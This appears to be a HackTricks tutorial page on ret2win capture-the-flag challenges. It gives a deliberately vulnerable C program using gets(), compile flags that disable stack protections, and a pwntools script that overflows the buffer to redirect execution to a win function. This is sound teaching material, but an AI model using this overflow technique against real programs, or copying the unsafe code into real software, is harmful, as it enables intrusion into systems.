Ret2win

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

Ret2win challenges are a popular category in Capture The Flag (CTF) competitions, particularly in tasks that involve binary exploitation. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like win, flag, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the return address on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:

C Example

Consider a simple C program with a vulnerability and a win function that we intend to call:

#include <stdio.h>
#include <string.h>

void win() {
    printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
    char buf[64];
    gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
    vulnerable_function();
    return 0;
}

To compile this program without stack protections and with ASLR disabled, you can use the following command:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).

  • -fno-stack-protector: Disable protections against stack overflows.

  • -z execstack: Allow execution of code on the stack.

  • -no-pie: Disable Position Independent Executable to ensure that the address of the win function does not change.

  • -o vulnerable: Name the output file vulnerable.

Python Exploit using Pwntools

For the exploit, we'll use pwntools, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the win function.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

To find the address of the win function, you can use gdb, objdump, or any other tool that allows you to inspect binary files. For instance, with objdump, you could use:

objdump -d vulnerable | grep win

This command will show you the assembly of the win function, including its starting address.

The Python script sends a carefully crafted message that, when processed by the vulnerable_function, overflows the buffer and overwrites the return address on the stack with the address of win. When vulnerable_function returns, instead of returning to main or exiting, it jumps to win, and the message is printed.

Protections

  • PIE should be disabled for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is read or similar, you can do a Partial Overwrite of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a 1/16 chance (1 nibble) to get the correct return address.

  • Stack Canaries should be also disabled or the compromised EIP return address won't never be followed.

Other examples & References

ARM64 Example

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated